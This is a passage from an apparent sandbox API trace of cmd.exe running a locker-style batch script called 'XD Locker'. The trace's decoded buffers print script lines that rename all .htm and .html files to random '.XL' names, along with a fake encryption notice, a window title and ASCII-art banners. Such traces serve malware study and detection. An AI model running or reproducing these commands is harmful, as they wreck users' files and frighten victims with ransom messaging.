lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0037.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.435] GetFileType (hFile=0x74) returned 0x1 [0037.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0037.435] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=5252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0037.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0037.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.435] GetFileType (hFile=0x74) returned 0x1 [0037.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0037.436] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=5254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0037.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0037.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.436] GetFileType (hFile=0x74) returned 0x1 [0037.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0037.436] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=5260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0037.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0037.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0037.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.436] GetFileType (hFile=0x74) returned 0x1 [0037.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0037.437] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=5262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0037.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0037.437] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0037.437] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.437] GetFileType (hFile=0x74) returned 0x1 [0037.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0037.437] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=5288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0037.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0037.437] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0037.437] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.437] GetFileType (hFile=0x74) returned 0x1 [0037.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0037.438] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.438] SetFilePointer (in: hFile=0x74, lDistanceToMove=5299, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0037.438] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0037.438] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.438] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0037.438] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.438] GetFileType (hFile=0x74) returned 0x1 [0037.438] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0037.438] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.438] SetFilePointer (in: hFile=0x74, lDistanceToMove=5301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0037.438] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.438] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.438] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0037.438] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.438] GetFileType (hFile=0x74) returned 0x1 [0037.438] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0037.439] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.439] SetFilePointer (in: hFile=0x74, lDistanceToMove=5308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0037.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0037.439] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.439] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0037.439] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.439] GetFileType (hFile=0x74) returned 0x1 [0037.439] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0037.439] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.439] SetFilePointer (in: hFile=0x74, lDistanceToMove=5310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0037.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0037.439] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.439] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0037.439] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.439] GetFileType (hFile=0x74) returned 0x1 [0037.439] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0037.439] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=5337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0037.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0037.440] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0037.440] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.440] GetFileType (hFile=0x74) returned 0x1 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0037.440] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=5348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0037.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0037.440] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0037.440] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.440] GetFileType (hFile=0x74) returned 0x1 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0037.440] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=5353, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0037.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l2\r\nLock\r\n") returned 5 [0037.440] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0037.440] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.440] GetFileType (hFile=0x74) returned 0x1 [0037.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0037.441] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=5409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0037.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="msg * Ooops your file have been encryoted by XD Locker\r\n\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" ") returned 56 [0037.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0037.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.441] GetFileType (hFile=0x74) returned 0x1 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0037.441] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=5419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0037.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="color 4f\r\ns your file have been encryoted by XD Locker\r\n") returned 10 [0037.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0037.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.441] GetFileType (hFile=0x74) returned 0x1 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0037.441] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=5424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0037.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cls\r\n 4f\r\n") returned 5 [0037.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0037.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.441] GetFileType (hFile=0x74) returned 0x1 [0037.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0037.442] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=5441, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0037.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=17, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="title XD Locker\r\nfile have been encryoted by XD Locker\r\n") returned 17 [0037.442] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0037.442] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.442] GetFileType (hFile=0x74) returned 0x1 [0037.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0037.442] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=5508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0037.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\nrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" ") returned 67 [0037.442] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0037.442] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.442] GetFileType (hFile=0x74) returned 0x1 [0037.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0037.442] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=5576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0037.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\nGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" ") returned 68 [0037.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0037.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.443] GetFileType (hFile=0x74) returned 0x1 [0037.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0037.443] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=5644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0037.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0037.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0037.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.443] GetFileType (hFile=0x74) returned 0x1 [0037.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0037.443] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=5708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0037.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0037.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0037.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.443] GetFileType (hFile=0x74) returned 0x1 [0037.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0037.443] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=5771, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0037.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n") returned 63 [0037.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0037.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.444] GetFileType (hFile=0x74) returned 0x1 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0037.444] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=5833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0037.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n") returned 62 [0037.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0037.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.444] GetFileType (hFile=0x74) returned 0x1 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0037.444] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=5890, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0037.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, 